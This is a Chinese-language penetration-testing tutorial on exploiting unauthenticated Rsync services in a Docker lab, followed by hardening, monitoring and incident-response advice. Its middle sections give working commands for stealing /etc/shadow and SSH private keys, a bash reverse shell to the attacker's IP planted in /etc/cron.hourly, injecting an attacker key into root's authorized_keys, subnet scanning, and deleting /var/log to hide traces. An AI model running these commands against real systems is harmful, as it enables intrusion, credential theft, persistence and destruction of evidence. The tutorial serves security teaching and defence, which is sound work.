)
Kali实战Rsync未授权访问漏洞深度利用与防御实践在渗透测试领域Rsync服务因其广泛使用和默认配置问题常成为攻击者突破内网的第一道门户。本文将从一个红队工程师的视角带您深入理解Rsync未授权访问漏洞的完整利用链从基础检测到高级权限维持最后分享企业级防御方案。1. 漏洞原理与前置知识Rsync作为Linux系统中最常用的增量备份工具默认监听873端口采用rsync://协议进行数据传输。当管理员未配置访问控制列表(ACL)或未设置认证密码时攻击者可直接与rsync服务建立连接并执行文件读写操作。关键风险点默认匿名访问权限可遍历服务器完整目录结构支持上传下载任意文件常与cron等系统服务联动注意本文所有实验均在授权环境下进行未经授权测试他人系统属违法行为2. 实验环境快速搭建2.1 靶机环境配置推荐使用Docker快速搭建漏洞环境# 下载漏洞镜像 docker pull vulhub/rsync:latest # 启动容器 docker run -d -p 873:873 --name rsync_vuln vulhub/rsync验证服务是否正常nc -zv 靶机IP 8732.2 Kali攻击机准备确保安装以下工具rsync客户端默认已安装netcat用于反弹shellnmap服务探测更新工具链sudo apt update sudo apt install -y rsync netcat-traditional nmap3. 漏洞利用全流程解析3.1 服务发现与确认使用nmap进行快速检测nmap -sV -p873 靶机IP典型响应示例PORT STATE SERVICE VERSION 873/tcp open rsync (protocol version 31)确认存在未授权访问rsync rsync://靶机IP:873/若返回模块列表则确认漏洞存在src public module3.2 文件系统遍历技术列出可访问模块内容rsync rsync://靶机IP:873/src/关键目录操作示例命令功能rsync rsync://IP/src/etc/查看/etc目录rsync rsync://IP/src/root/查看root目录rsync rsync://IP/src/var/www/查看web目录3.3 文件下载实战下载敏感文件示例# 下载passwd文件 rsync -av rsync://靶机IP:873/src/etc/passwd . # 下载shadow文件需root权限 rsync -av rsync://靶机IP:873/src/etc/shadow . # 下载SSH密钥 rsync -av rsync://靶机IP:873/src/root/.ssh/id_rsa .3.4 文件上传技巧上传测试文件echo test payload test.txt rsync -av test.txt rsync://靶机IP:873/src/tmp/test.txt上传注意事项确保目标目录有写权限文件名避免特殊字符大文件传输可能被中断3.5 权限提升与持久化方法一Crontab利用检查现有计划任务rsync -av rsync://靶机IP:873/src/etc/crontab .创建反弹shell脚本cat shell.sh EOF #!/bin/bash bash -i /dev/tcp/攻击机IP/4444 01 EOF上传到可执行目录chmod x shell.sh rsync -av shell.sh rsync://靶机IP:873/src/etc/cron.hourly/shell本地监听nc -nvlp 4444方法二SSH密钥注入生成新密钥对ssh-keygen -t rsa -f attack_key上传公钥rsync -av attack_key.pub rsync://靶机IP:873/src/root/.ssh/authorized_keys连接目标ssh -i attack_key root靶机IP4. 高级利用技巧4.1 内网横向移动通过已控制的rsync服务中转文件# 从A机器下载上传到B机器 rsync -av rsync://内网A:873/src/etc/passwd . rsync -av passwd rsync://内网B:873/src/tmp/4.2 大规模自动化扫描使用rsync-check脚本批量检测#!/bin/bash for ip in $(seq 1 254); do rsync rsync://192.168.1.$ip:873/ 2/dev/null echo Vulnerable: 192.168.1.$ip done4.3 日志清除技术上传前清除痕迹rsync -av --delete empty_dir/ rsync://靶机IP:873/src/var/log/5. 企业级防御方案5.1 基础安全配置rsyncd.conf安全示例[secured_module] path /data/backup comment Secured Rsync read only yes list no auth users backup_user secrets file /etc/rsyncd.secrets hosts allow 192.168.1.0/245.2 网络层防护防火墙限制873端口访问源IP使用VPN或跳板机访问rsync服务启用TLS加密传输5.3 监控与审计关键监控指标非常规时间的rsync连接异常大文件传输/etc/cron.*目录变更authorized_keys文件修改5.4 应急响应流程当发现rsync被入侵时立即停止rsync服务检查crontab和启动项审计最近修改的文件轮换所有SSH密钥更新系统补丁6. 渗透测试中的法律边界在实际工作中遇到过这样的案例某次授权测试中发现客户系统存在rsync未授权访问但进一步利用前必须明确获得文件操作的书面授权避开生产敏感数据目录操作时间选择业务低峰期所有操作记录详细日志真正专业的渗透测试技术只是基础更重要的是对规则的敬畏和对客户资产的尊重。